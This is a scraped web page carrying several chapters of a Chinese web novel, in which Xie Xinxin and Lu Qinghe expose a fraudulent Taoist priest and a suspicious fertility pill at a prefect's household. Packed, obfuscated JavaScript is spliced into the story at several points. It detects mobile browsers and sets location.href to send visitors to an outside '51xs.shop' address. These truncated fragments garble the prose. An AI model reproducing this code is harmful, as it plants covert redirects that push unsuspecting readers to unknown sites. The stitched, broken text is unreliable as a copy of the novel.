RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108538|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也曾成为过谢辛辛和陆清和之间的小小拦路兽。 这厢谢辛辛临到王府门口,却叫郭府马车远远地停在一边,称不许惊动王府的门卫。 她自个儿一个下了车,心里没来由地惴惴。 总觉得一路上似乎有眼睛再盯着自己……或许是做贼心虚吧。 “几位大哥,还记得我吗?”她笑嘻嘻地上前,先往门卫手上塞了几块小银锭。 拿人钱财,门卫便有暇仔细端详一下,“你是上回,找……” “找宋嬷嬷的。”谢辛辛自己接上话,“今日也是,劳烦几位大哥帮我传个话了。” 门卫脸色微微松动了,点头说好,进去不消一会儿就带了宋嬷嬷出来。 宋嬷嬷见了她很是惊讶,又很快恢复的平和的神态,将她拉到一边:“小小姐胆子比老婆子想得大得多,上回才见了一面,今日就指名道姓地来找。” 谢辛辛眯着眼,“若我猜的不错,王府的门卫应该是老宣王手里的人吧?” 宋嬷嬷闻言一愣,更加恭敬看她几分,“谢小小姐果然聪慧过人,老婆子没看错人。” 她有此判断,乃是因为自从上次知道了老宣王和赵都云并非表面上那样和平,她便仔细推敲了她来到宣王府的每一步。 若非门口的府卫听命于老宣王,她上回拿着有赵都云印章的书信来找王府世子,门卫怎么可能反倒唤了老宣王手下的宋嬷嬷来? 除非宋嬷嬷有所吩咐,一切要见赵都云的不明来客,都得先经宋嬷嬷的眼。 她如此解释一遍,宋嬷嬷笑意愈深,“王爷一只记着你,小小姐,你果然是个顶水灵的人物。” 谢辛辛道:“先不说这些,嬷嬷,你上回的意思我已经明白了。眼下我是想问你,赵世子他是否有和道学中人来往的习惯?” “我有个不情之请,想请宋嬷嬷助我,马车就停在街外,不知嬷嬷可否出府?” 宋嬷嬷犹豫一刻,只道:“ 女子入了侯门,出府便不是一两句话的事了,自打我跟了老宣王以来,若非祭祀等重要时刻需我亲自督办采买事宜,平日几乎出不得府。谢小掌柜,可否容奴婢半柱香的时间?” 听到这话,谢辛辛心已凉了半截。但她若要证实郭知州身边那个道士和赵都云有千丝万缕的联系,不得不需要一个常在王府眼观六路之人的指认。除了宋嬷嬷,她想不出其他人能帮她,因而也只得硬着头皮等。 没想到还不到一柱香,宋嬷嬷就出来了,穿罗带锦,发鬓耳项等具有妆扮,虽有些年岁,却兀显风华。和一柱香之前朴素之貌大有不同。 只见她端正身姿,经过门口对府卫微一点头,称: “府里问起来,就说我需见一趟宫中的要人。” 宫中? 谢辛辛眼角跳了跳,不禁扶上她问:“嬷嬷,你……你和宫中又有什么关系。” 宋嬷嬷笑着按上她的手: “奴婢不才,跟随老王爷之前,曾是太子身边的女官。” 太子?! 她面上波澜不显,心中已经是狂风大作,如一道雷霆贯穿了她,忽然一切都通了。 老宣王身边之人是太子的女官,宣王府对外却称是大皇子的拥趸,如今是赵都云接管了宣王府的大多事宜,而赵都云和老王爷却多有不合…… 隐隐约约,她觉得自己仿佛无意之间撞破了什么朝中的大机密。 [1]自己还糊里糊涂;却要去教别人明白事理。出处:《孟子·尽心下》 57.江石出 她与宋嬷嬷一前一后,装模作样地走过了街角,一闪身便上了郭府的车。 一阵深秋的风,车帘将落未落之际,谢辛辛在眼角的余光中看见一片白色的衣角,她猛地觉得这场面有点熟悉。 未经细想,伸手就插入绣帘与车门的空隙中一掀,兔子似的跳了下去: “陆清和?” 才要拐进巷子尾的人影一顿步,连背影也看得出彷徨,到底还是慢慢地转了出来。阿凤紧随其后,硬着头皮看她。 她不免觉得有些好笑,“你们跟着我过来的?” 陆清和早看到上车的是一位老嬷嬷,一些不成型不讲理的醋意消散得干干净净,此时深深吐出一口气,面不改色拍了拍阿凤的后背,“是阿凤非要跟来看看。” 阿凤:“……?” 阿凤:“……是我,我想看道士打醮。” 阿凤还是个半大的少年,这么一说,谢辛辛自然觉得情有可原。她想了一想:“我也没见过,小时候只听说道观山脚下的村子会围着山浩浩荡荡打一圈,未想到郭大人府上也有这个习惯。” 等着赶车的小厮顺嘴一插话:“这寻常人家,一年也就立冬的时候有机会打醮求福,几个村子一起办,拖着神仙牌位得走好几里路。但仙云观的道士敬佩我家大人的治州才学,破例单独为咱们府上一家做法事,自然和别人家不同。” 谢辛辛失笑:“原来神仙眼中之人也分三六九等。” 扯完了闲篇,谢辛辛倒是欲走,可眼前陆清和与阿凤一大一小,倒像是眼巴巴地看着她。 她脑仁一疼,不知为何有种魂穿话本子中抛妻弃子的可恶郎君之感,愧疚油然而生,上车贴着宋嬷嬷往里坐了些。 她拍拍软垫,试探道:“来都来了,你俩也一起?” 才说完前半句,陆清和便自己抬脚上了车。阿凤立刻跟上,毫不客气地一屁股坐了进来,然后呲个大牙朝着她笑。 陆清和将他脑袋按了下去,对着宋嬷嬷道:“这位是谁?” 他说完,谢辛辛方才意识到陆清和在外界还是身死之人,不便露面,便随口对宋嬷嬷诌道:“嬷嬷,这是我表哥。” 陆清和不甚情愿地领了这个名头。 曾几何时,她编胡话说的还是自己是她的郎君。 谢辛辛发现他看向自己的目光莫名幽怨,感到莫名其妙: 怎么更加像话本子里女主带娃追夫、却发现郎君身边有别的女人的剧情了? 甚至这个女人还没有自己年轻漂亮! 宋嬷嬷此时带着幕帘,只露出一双因阅历而显得洞察锐敏的眼睛。她微微眯眼瞧了几下陆清和,既而微微震动,纳罕着: 自北瑛王府而来的竟是他? 而且还没有死? 却很快低下眼睛,轻轻道:“老奴乃宣王殿下身侧贴身女官,见过陆二公子。” 陆后面一个二字,说得微弱且含糊,混在小厮一声高昂的“驾”里,无心之人分辨不出。而落在陆清和耳里,却是一记强有力的警钟。 他有些惊疑,很快压了下来,探询地看向谢辛辛。 谢辛辛毫无察觉,以为他问的是去郭府的缘由,摊手道:“我不瞒你,郭府请的这个道士,可以说是把我推到王府之间这许多乱子里面的始作俑者。他是……” 阿凤很快接话道:“是月老?” 宋嬷嬷没忍住,轻笑一声。 谢辛辛瞪了他一眼:“大人说话小孩儿别插嘴。” 陆清和立刻以二指挡住了阿凤的嘴,将那句“我不是小孩儿了”噎在了他喉咙里。 谢辛辛接着道:“他是王负遇难时,郭大人请来给王负算卦的,奇哉怪哉,一卦便算出我是救他儿子的关键所在,要我跟着你去邺州,保王负平安。若他不来,郭大人找不上我,我找不上你,麻烦也找不上我和刘宛茗琅……” 陆清和轻咳一声:“他算得很好。” 谢辛辛:“……可如今我却发现,你本就是秉公查案之人,若我不缠着你,你也自会为王府沉冤脱罪的,是也不是?” 短暂的沉默后,陆清和称,是。 谢辛辛便道:“既然如此,邺州铁矿场,我去是不去,于王负又有什么分别呢?” 宋嬷嬷听了进去,也点头称,不错。 谢辛辛便顺着说了下去:“后来我想,我的出现与否对王负没有分别,可于另一个人,却有很大的干系。你们说这人是谁?” 三人异口同声: “赵世子?!” 谢辛辛凝着眉毛:“果然你们也这么想。所以我猜,那道士和宣王府应也有脱不开的联系。” 听到此处,宋嬷嬷忽然起身道:“车内闷热,奴婢且坐到外面去。” 宋嬷嬷虽是家奴,但也是亲王府上的管事,这样的身份坐在车前木缘上自然是不合时宜的。可她有心避嫌,谢辛辛知道这是她的诚意,也不多挽留。 “我去邺州的时候,赵都云多次想法提醒我要多多给宣王府去信。”她继续边说边理着思绪,“可见他希望通过我来了解邺州之地的情况。这说明,他在邺州定然有所布局。” “这局是设给谁的?乍一看,王负在赵都云手底下的矿场受诬陷,被人拿去顶了罪,这局像是设给王负的。” “可郭大人叫我去邺州却是去救王负的,如此,便有两种可能。其一,郭大人心知赵都云有意暗害王负,偷偷找上我为王负解围。倘若真是如此,那如今王负得救,赵都云早该回过神了,将郭大人这个有私心的处理掉。” “可如今,郭大人官运依然亨通,与世子府上甚至是愈走愈近。可见此种假设不通。” “其二,便是此局针对的另有其人,就连王负,也是局中一个障眼法。而要想知道他真正的目标是谁,便要看他在邺州的傀儡是如何行事。” 陆清和何等聪明,稍加思索便悟了出来: “徐明庚处处针对之人,便是孟安。” 阿凤看看公子又看看谢掌柜,不知道他们又在说什么费解的话。 “正是。”她掖起手,“若我猜的不错,如今朝中,弹劾孟安的奏折应该多如牛毛了吧。” 为安全计,陆清和假死这几日,也未再与北瑛王府中有书信往来。但谢辛辛这话却十分地占理。他有些怔忪,看着她,不自觉道: “竟是初次听你谈起朝中之事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128059|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她哂笑:“跟着你这么些日子,没来由就通了。” 心里想的却是,曾经她也就和那赵都云有些金钱往来,如今身边又是北瑛王府的人,又是郑举子,又是孟知监,又是郭知州……现在还多了个曾伴太子的女官,实在是避无可避了吧! 既然避无可避,不若迎头而上,多掌握些信息为自己所用。这边是谢辛辛的处事法则,该蛰伏时蛰伏,该出击时出击,自谢府出事以来,她也一直是这么做的。 不必多说,二人皆知针对孟安的背后是针对什么。孟安是北瑛王府的门客,又在赵都云鞭长可以及的地界,赵都云自然看他如眼中钉,早想将他拔除。可…… “可一个七品知监,让赵都云如此耗费心力,值得吗?” 谢辛辛还是觉得不对。 陆清和道:“不在品阶,而在位置。孟安的特殊之处,在于他的铁冶监所辖范围,正正是天子亲命宣王府负责的铁矿脉上。” 王负,世子,铁冶监,铁矿脉,矿山坍塌一案…… 也就是说,赵都云是想在矿场做些见不得人的事,又怕消息传到政敌北瑛王的耳朵里,因此要先将孟安解决。可孟安位高,为人清正,少有错漏。因而赵都云才想了个办法,先用徐明庚孟安同窗的身份诱导他走私铁,先将他的行动拿捏三分,既而找了个炸洞的替罪羊,想办法把脏水泼到孟安的头上。 层层相扣,好阴险的计划! 还有疑似本该送往王府的盛放兵器胚子的木桶。木桶出现在苕江水道,连接莲、邺二州…… 慢着,生铁制成的兵器胚子? 她忽然倒抽一口冷气,猛地捂住自己的嘴: “赵都云他是在用官铁铸私兵?!” 一切都通了! …… 二人说到此处,便是一路再无话到了郭府。除开郭府小厮外,一行四人,郭家家眷皆彬彬有礼地接待,领的小道一路曲折,将他们各自安排到府中角落的。 “郭大人这是何意?”谢辛辛不禁问。 府上的家奴忙说:“姑娘别介意,我家老爷嘱咐过,姑娘的房子我们是精心打扫过的,绝没有慢待客人的意思。只是我们夫人脾气大一些,见不得老爷在外头养的儿子,因而老爷不敢和夫人说招待各位贵客的缘由……” 陆清和接过话道:“也就是说,尊府人并不知我们已经来到了贵府上。” 家奴将话说完,便屈膝告退: “唐突各位客人之处,还请见谅,老爷也是无法。” 谢辛辛没有意见,陆清和则悦然更甚,吩咐阿凤道:“既然如此,你留神一下这位夫人。如今她自认为没有外人在场,言语间或会松懈许多。” 阿凤一个抱拳便不见踪影。 谢辛辛不知道他去盯郭夫人做什么,拉过宋嬷嬷道:“届时见了道士,我让宋嬷嬷忍认一认,是不是常去王府的那些便是了。” 陆清和便慢慢地解释给她听: “你或许不知,这位郭大人的夫人,其娘家,和如今的宣王妃有些不近不远的亲缘关系。你若怀疑这道士是宣王府的人。你若怀疑这道士赵世子将郭知州也设计进去的一个局,不若查一查他这位夫人。” 58.神下腌 本朝最初的太宗皇帝年轻时候也是向明而治的大明君,然而许是愈有大才之人愈不愿早早地失了发挥的空间,太宗皇帝在百姓的爱戴中过了古稀,一转成了个爱求医问道觅长生的主儿,在各处大兴道观。 一来二去,道教便力压各路,成了国教。再加上郭知州向来迷信,这打醮祈神一事,郭府上下都极其上心思,生怕一不小心担了个不敬国教,亦或是妨主气运的罪名。 谢辛辛几人张望了一番,见郭府下人们早已提前忙碌起来,厨房的人尤其忙甚,拿着黄竹条子编的大簸箕四处奔走,托着各样卖相一般的面点心脚不点地。 有时一些见过他们的侍女还好心多说一句:“几位贵客,可小心别走到主院里。若让夫人发现你们,老爷的苦心就告吹了。” 她们一口一个贵客,却将贵客偷摸安排在这样极偏的下人院附近居住,谢辛辛都懒得应她,点点头就罢了。 “那是什么?”她指着路过之人手里的一个蒸屉问道。 便有人百忙之中停下来回话:“这是贡饭,待凌晨请了仙云观祖师爷的牌位便马上要进贡,届时没有空闲现做,只得提前准备。” 她知道了就挥手让人下去,悄悄和陆清和说:“不如我楼中的厨傅们,一时辰就够出一大桌好菜。” 陆清和含笑听她自吹自擂,应道:“玉春楼自是厉害,许久没吃金风玉露了。” 总觉得这人再揶揄自己先头讹钱的事。谢辛辛索性不理他这句,指着远处一簸箕的彩花糕,“这种品相放在玉春楼,恐难卖出去。” 陆清和不懂糕点的事情,宋嬷嬷倒接话说:“确实一般。只是依奴婢之见,方才过去的一些人,身上连襻膊抹布都无,手脚笨重,一看便不是厨娘,恐是厨房人手不足,临时调来粗使杂役充数。” 谢辛辛感叹:“这偌大的知州府,原来也是外表光鲜的绣花枕头。” 宋嬷嬷便道:“说来,也是那位知州夫人是个不争气的主……” 闻言谢辛辛难掩讶异:“嬷嬷,你不是宣王爷身边的……?我可是听说这位夫人是宣王妃的表亲。” 那宋嬷嬷议论郭夫人,岂不是在议论自己半个主子? 一点儿也不符合她先前在王府里几段话都挑不出错处的做派。 宋嬷嬷忽然黯然下来:“王爷是王爷,王妃是王妃。” 颇有两者早已离心的意思。 她琢磨了一会儿要不要打听这个八卦,天色就不停蹄地暗了下来。阿凤还没回来,许是真的探听到了什么,才被绊住了脚。几人想再闲逛闲逛却是不能,有人小心翼翼地过来知会: “祖师爷的牌位要到了!贵客们要跟着我们去看么?” 自然要去。谢辛辛忙整束衣冠,拉着二人就要出门。他们顺着郭府上上下下几乎全府的人流,浑水摸鱼地找仙云观那被徒孙们搬来搬去的祖师爷,牌位还没看到,敲锣打鼓的声音却先响了起来。从最前面的开始,渐渐地跪了一排人。 宋嬷嬷忙跟着跪下,顺手拉下了陆清和与谢辛辛。 端着牌位的人终于露面,白头华发,一身玄鹤道袍,手里抱着他那倒霉祖师爷神神叨叨地上前,一路进了郭府正院。 谢辛辛小心抬头瞄了一眼,那白发老头不是曾经见过那个老道士又是谁? 只是看他今日装扮,比从前是气派不少了。 想必没少挣知州府的银子。 郭知州此时一转出现,高举着香烛,朝这位道士鞠了一躬。想必这个环节本该是要跪拜的,但因官不跪民,转而成为作揖之态。 “瞧着也没多诚心呢。”谢辛辛不知从哪捞了一把瓜子儿,这会盘坐在地上,簌簌磕了一地的瓜子儿皮。 宋嬷嬷只教化过王公贵族,少见谢辛辛这种做派,尤其是在法事之时,唯恐不敬神灵,一时想要出言阻止她。 陆清和却快她一步,将谢辛辛才要送进嘴里的瓜子儿劈手夺了下来。 宋嬷嬷欣慰地笑了。 谢辛辛瞪他一眼:“做什么!” 却见陆清和坐在她一边,小心用手指将瓜子儿皮剥开,凑够了一掌心的瓜子仁之后,悉数倒进谢辛辛的手里。 道士高声道:“设——坛——” 他俩忙低了低头,将身形掩埋在乌泱泱一片跪拜的人群中。高幡起,飞鸟惊,天坛落,打醮仪式便要开始。这么一派庄穆中,一对男女躲在一处,沉心敛性—— 磕着瓜子。 宋嬷嬷低下头,认真地数着地上的沙砾,浑当自己没见过他们,才开始有点后悔接下了这桩事。 谢辛辛自得其乐地数着陆清和剥好的瓜子仁。“多谢了。”她不经心道,眼睛还黏在那做法事的道士身上,忽然觉得不对。 “他后面是不是有一个人,鬼鬼祟祟的?” 宋嬷嬷闻言抬头,惊讶道:“像是知州夫人。” “是郭夫人?” 她勉力去看,仍是瞧不太清郭夫人在道士身后做些什么,只能看见她踱着小步藏在阴影中,似是很焦虑地转来转去。只好猫着身子来到院子旁边的另一侧,躲进一簇矮山黄杨后头,想看清些。 忽地一片黄叶却像刀片似的斜插入她身前几步。 她一惊,回身去看,身后一颗大树上,稳稳坐着的是阿凤! 阿凤向她比了一个噤声的手势,小声说:“我读得懂她在说什么。” 谢辛辛喜不自禁:“你会读唇语?” 这小子怎么什么都会?陆清和哪儿捡来这样一个宝贝? 这可省了一大笔麻烦,只消远远地看她说了什么就行了。 只见郭夫人带着侍女,蹑手蹑脚地跟在道士后面几步距离,扭头问侍女—— 阿凤便同步学她的语气—— “能有用吗?”郭夫人问。 侍女答:“有没有用的,总归夫人试一下也不亏什么。老爷天天不着家,还不是惦记着外面那个野种?哎唷夫人,别犹豫了。” 侍女刻薄弄舌之语,叫阿凤学出来格外违和,听得谢辛辛额角落下两滴冷汗,终是忍住没制止他继续。 她猜不透,自言自语:“郭夫人这是要试什么?和道士有什么关系……” 郭夫人看着咬牙跺脚的,最后下定决心一般:“罢了!我再也不想受没有儿子的气了!嘤!” 要不是阿凤面无表情,谢辛辛很怀疑这个嘤是阿凤出于恶趣味补上的。 这郭夫人说完,顿时像个白颈大鹅似的梗着脖子冲了上去。趁着道士装神弄鬼地起坛扬幡,她从道士的后方出击,不等所有人反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161501|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闪电般伸手—— 摸了一把道士的头。 道士的身形僵住了。 谢辛辛沉默了。 阿凤沉默了。 众人,尤其是郭大人,先是表情震惊了一瞬,接下来即刻若无其事地继续仪式。 道士反应过来,头也不回:“咳咳,敬献贡饭——” 郭知州便接过献饭,领头将这些米饭糕食贡献上设放祖师爷牌位的神案。 谢辛辛用胳膊去搡阿凤,把他从愣神中推搡醒了:“郭夫人她们说什么呢?” 阿凤忙再定睛去看,继续给谢掌柜学她们二人所言—— 郭夫人身边侍女拍手道:“太好了,夫人,都说摸了仙云观道士的头,一年之内定会有喜。夫人,你也要有自己的孩子了!” 郭夫人早已掩面逃到角落,却挡不住脸上露出的喜色:“但愿管用。上回差点没把邺州那个野种弄死,奇了怪了,表姐姐答应我的事竟然出了纰漏,让他没死成,一定是老爷暗地里做了什么手脚!这回我靠我自己怀上孩子,让老爷一定不会再对邺州那……那女人念念不忘。” 谢辛辛明明看着郭夫人口型连贯,阿凤说出来却磕巴了两个字。据谢辛辛自己判断,他应该是将贱人二字美化了一下。 话说回来,摸仙云观道士的头就能在一年之内怀孕?这种鬼话也有人信。真乃不是一家人不进一家门。 侍女安慰她道:“宣王爷虽然不行了,王妃也不是手眼通天,总有不保准的时候。再说了,老爷心里还是有您的,这不,听说老爷找宣王府里的名医,给您请来了助孕的神药呢。今日就要送来,让仙云观的道士顺道给这神药开一道光。” 谢辛辛无心去管这郭夫人肚皮的事情,只分析着,据这两段话所示,郭夫人的表姐姐——也就是王妃,原来是和郭夫人联手,将王负害死在的邺州。 怪不得她先前想不明白,赵都云要是想害孟安,为什么要让郭知州的儿子也淌进这趟浑水,郭知州是赵都云手下之人,如此似是完全没有必要。 如此看来,王负入局,是王妃和郭夫人的手笔。结合宋嬷嬷此前所言,宣王府中,王妃不仅和宣王爷不是同一阵营,竟也在利用赵都云行事。 这一家子加起来得有八百个心眼子。 这厢正祭拜完祖师爷,众人纷纷起身不再行跪礼。法场两边便由远至近亮起一排红烛点的地灯。愈沉的夜色下,地面的红光映上天空,衬的天色血夜一般阴森。 谢辛辛这才觉得秋夜生寒,抽身决定去找陆清和说一下方才获得的情报。阿凤伸手拉住了她。 阿凤:“谢掌柜等一下。” 谢辛辛茫然道:“何事?” 阿凤伸手向远处一指:“盯郭夫人的路上,我瞧见一个熟人。” 谢辛辛顺着他的手指看去,是一个柳腰削肩的女子,戴着一层薄薄的面纱,兀自阒立在灯火之外。 殷红色的烛光跳动,映在郭府每一个参拜之人的脸上,却独独绕过了她。只有一些微弱的赤色焰影跃在她的眼睛里,蛇瞳一般熠熠生光。 谢辛辛觉得这纤纤身影有些熟悉。直到风起,吹起那人面纱一角,看到那精戾眸色之上,莹白淡薄的面庞。 是边青昙! 她怎么会在郭府? 59.灯花爆 边青昙没有注意到他们。她在人群中静待,流风中,沉香色的交领衫襦勾勒出她不胜其衣的轮廓,像一只误闯进人类法事之中的山鹤。 谢辛辛下意识觉得不妙,朝她迈步过去:“我去问问她要做什么……” 阿凤一伸手没能抓住她的袖角,但郭府的下人此刻都挤在醮坛周边,严严实实地挡了她去找边青昙的路。 忙乱中,忽然有人牵住她: “这边。” 陆清和不知什么时候来到她身边,领着她在人群中穿行。他们一前一后,马上将要走至边青昙面前时,近处那道士却一个高声: “奉神药——” 边青昙眼睛一弯,即刻从袖中摸出一个方方正正的小木盒子,款步走了出去。 几人擦肩而过,谢辛辛恍惚看见边青昙经过她的时候,眼角一闪而过的促狭。 郭府下人议论纷纷: “这就是宣王府上赐下的神药?” “是呢,听说是郭知州特意为夫人求的,凡女子服用,可舒络精血,更易得孕。” “有这么神?” “你不知道?最近有传言说,摸了仙云观道士的脑袋,一年之内是必定有喜的。这仙云观必定是有送子大仙保佑!神药一经仙云观的道士开过光,想必更灵验了!” “老爷到底还是记挂着夫人的,知道夫人心心念念地就想要个孩子……” 醮坛之下,神明在上,这些议论堂而皇之地将老爷夫人之间的子嗣房事端上了台面,多少令谢辛辛觉得不堪入耳。 她又想起王府那几门子事,愈发觉得,这越是讲礼教的官门大户里,可供人碎嘴的腌臜事情越多。 只是她撇开头,没想到奉上神药之人,竟然会是边青昙。据说这神药是宣王府赐下的,难不成边青昙嫁给范医师之后,仍与赵都云保持联系? 不对,她若是还听命于赵都云,何故要帮茗琅的忙、帮自己的忙收留刘宛,甚至收留了几日陆清和? 老道对着盛药的小盒,郑重其事地踏罡步斗,念咒焚表,诵念圣诰。边青昙则安安静静地将药盒端在道士面前,火光潋滟在她的脸上,愈发让谢辛辛看不透她的眸色。 几番叽里咕噜地念完经,道士取出一块红布沾上水,覆盖在药盒表面,称:“道由心学,心假香传。此药需供奉与祖师爷牌下的玉炉前,受香火三日,即开光讫。” “我怎么觉得他在胡说八道呢?”谢辛辛嘀咕着,“从没见过这样开光的。” 陆清和附议,“正统的开光仪式,一般于辰时前,此道士却在半夜举行此事,不像是师承仙云观的正统道长,像是个江湖骗子。先前,就是他骗你来接近我?” 谢辛辛不愿承认自己受了个江湖骗子的蒙,硬着头皮道:“是他先取信了郭知州,郭知州找上的我,怎能说是我被骗?” 陆清和无奈一笑。 也不知她一颗心有多大,装着这么多事,还有一天天说不完的道理。 宋嬷嬷也跟了上来,问她:“小小姐,这道士离得太远,我辨不清他样貌,怎么办?” 谢辛辛咬唇想了片刻:“府里有来往的道士你都见过么?” 宋嬷嬷称是:“供奉神坛相关的物什,都需经我手。我不仅我见过道长们,道长应与我也相熟。” 谢辛辛闻言展眉道:“如此甚好。这般,你随我来。” 于是领着宋嬷嬷来到坛前正对面一显眼处。 “他在坛上,视野开阔,不需要你看得清他,他但凡能看见你,便成了。只是要麻烦阿凤善后。” 宋嬷嬷不解:“小小姐这是何意?” 陆清和替她解释道:“他若是寻常清白道士,见到你也不会有什么反应,许还会念着是熟人过来打声招呼。” “而若是赵都云门下之人,见到宣王爷的贴身女侍,必会心生惊疑,有所动作。因而我们只消盯着此道,他若想方设法回府报信,便让阿凤拦下封口。” “原来如此。”宋嬷嬷听明白了,看了他一眼,却忍不住打趣道,“不愧是谢小小姐的表兄。” 陆清和的实际身份,他与宋嬷嬷心照不宣,因而他听得此话微微红了耳朵。而谢辛辛蒙在鼓里,自然不觉有什么,只是紧紧注意着那道士的面色。 道士似乎打算收工,扬了扬袖就说,牌位落定,等明天一早向祖师爷参拜贡宝,祈福消灾,便算仪式完成了。说着他就着郭大人的手饮了一口清酒,“噗”一声随口喷洒在空中。 “江湖把戏。”陆清和道。 本是道门中人将酒喷洒在桃木剑上斩鬼的招数,无端被用来耍宝。 道士觉得自己做了一个利落的收尾,很是得意,眼光像脚步虚浮,摇摇摆摆地晃过人群,果然,落在了宋嬷嬷身上。 他一激灵,又揉揉眼睛,仔细去看—— 真是宋嬷嬷! 那不是老王爷身边的人吗? 道士心里打起鼓点:宋嬷嬷这时候在知州府上做什么?莫不是王爷那边发现了什么玄机?不好,若世子知道我暴露…… 想到这里,他一个撤步,回身就跑! “站住!”阿凤大喊一声,直追上前。 “果然有问题!”谢辛辛一把抓过陆清和,非拽着他跟随其后紧追不舍,“别跑!” 忽地肩膀被人撞了一下,不轻不重地,将谢辛辛撞了一个踉跄。陆清和扶起她,微皱着眉头看着边青昙。 边青昙笑着说:“怎么了,这样看我?眼睛不长在你那小掌柜身上了?” 谢辛辛揉了揉撞疼的肩角,看她: “你又是怎么回事?” 边青昙满不在乎地撇撇嘴:“好凶噢,哪有姐妹之间这样说话的。” 谢辛辛:……什么时候和她成的姐妹? 她从腰带里面拿出一个和药盒子一模一样的檀木小盒,往谢辛辛手里一塞:“不就是对这个感兴趣么,给你。” 谢辛辛冷不防手上多了个东西,还没反应过来,就听边青昙道:“虽说我正好身上有多带的,但万万记住,就算你俩有情谊,药可别乱吃,一颗药丸就能助孕是假的。是药三分毒……” 边青昙认真道:“若要想有孕,调养男方的身子才是正经。如果陆公子他需要……哎,怎么走了!” “谁跟他有情谊……” 谢辛辛面上早已飞红一片,哪顾得上边青昙还要说什么,只想趁她说出更多虎狼之词之前拉着两人逃离此地。 等她奔逃出去好些丈数,再看自己手中二人。左手拉着的陆清和清清嗓子,一派假正经模样;右手牵着的宋嬷嬷倒是怔然了,目定口呆的,不知想到哪里去了。 “嬷嬷……”她到底是黄花大闺女,摇着宋嬷嬷的手,开慰起这类话题仍有些赧然,“你别听她的,我和表兄没有那个意思……” 宋嬷嬷被她摇得回了三分神:“什么?” 谢辛辛急着说:“嬷嬷,你想什么呢?” 宋嬷嬷蹙着眉,许久才说:“那个药盒子,可否交由奴婢一看? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212432|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这回换谢辛辛发愣了,心头一时茫然。虽说徐娘半老,风韵犹存,只是宋嬷嬷这个身份还对这种功用的药丸有兴趣么?莫非是为王爷王妃求的?王爷想必也觉得只有赵都云一个独子,算是家门不幸了吧…… 她极力控制着自己的思绪莫要飞到太远,将刚从边青昙手上拿过的木盒子递过去。 宋嬷嬷一接,用手指翻来覆去地摩挲,竟是轻车熟路一般,摸到一个小关窍轻轻一摁,盒盖便弹起一寸,露出内中一颗紫黑油亮的药丸,只有小指甲盖那么大。 谢辛辛左看右看:“宋嬷嬷,怎么了?” 宋嬷嬷面色凝重:“此药……” “和世子殿下劝诱王爷服用的极像。就连盛放药丸的盒子,这形状、材质、香气,都一模一样。” …… 那道士一边逃窜一边撕了半个袖子,将袖子当成蒙面的布挂在脸上,就往郭家的祠堂去了。 阿凤见他一时半会儿不会跑太远,回头去找自家公子: “公子,他往那里去了!” 几人忙将手上东西一收,也趁着夜色向郭家祠堂的方向探路。 阿凤问:“怎么办,眼下不知道他要去哪,要我把他打晕带回去吗?” 谢辛辛摆手示意:“不。” “跟着他,别打草惊蛇,先看他去见谁。” 阿凤看向陆清和,陆清和便点头道:“听她的。” 更深露重,郭府的人都围在打醮的神坛边,祠堂处竟然只留了一个点灯的婢女。一行人脚尖儿蹭着露水,小心翼翼地绕过祠堂正门,挤在一面油纸糊的格子窗下。 阿凤接上陆清和的眼风,立刻会意:“没错,那道士是进了这里面,应该没再出来。” 谢辛辛用手指沾了点草叶上的水珠,抹在窗户纸上轻轻一捅,油纸破得无声无息,道士果然在里面,小声对点灯婢女说这什么。两人背对着他们,竟丝毫未察觉。 谢辛辛问:“宋嬷嬷,这下你可看清了?” 宋嬷嬷细细瞧去,虽然那人只露出半张脸,但这个距离也足够一个老女官认脸了: “着实眼熟。此人应是只见过世子殿下,从来不为王府做法事,因而与我们王爷房中不常来往。” 谢辛辛当下便了然了,深深地望了一眼陆清和。 今日此前,她一直避免多与他纠缠,哪怕旁人打趣,她对他,仍是连多余的话也不说。 这正是因为心中这个疑问还未解。 如今,答案已近在眼前。 她淡淡地说了一句:“如果不是这道士找到郭知州,我没有机会看到莲州府衙的卷宗。” 陆清和的目光撞上她,几乎是错愕的。起初,他还没有明白她这一眼的意思,逐渐地,随着一缕清风悠然地扬起二人头发,发丝缱绻在一处,有舒然松开。 他才发觉自己前日固执的可笑。 他愕然道:“你的意思是,此人有意引导郭知州拿卷宗与你利益交换,此乃赵世子的刻意安排。” 她不答。陆清和却猜到她的意思—— 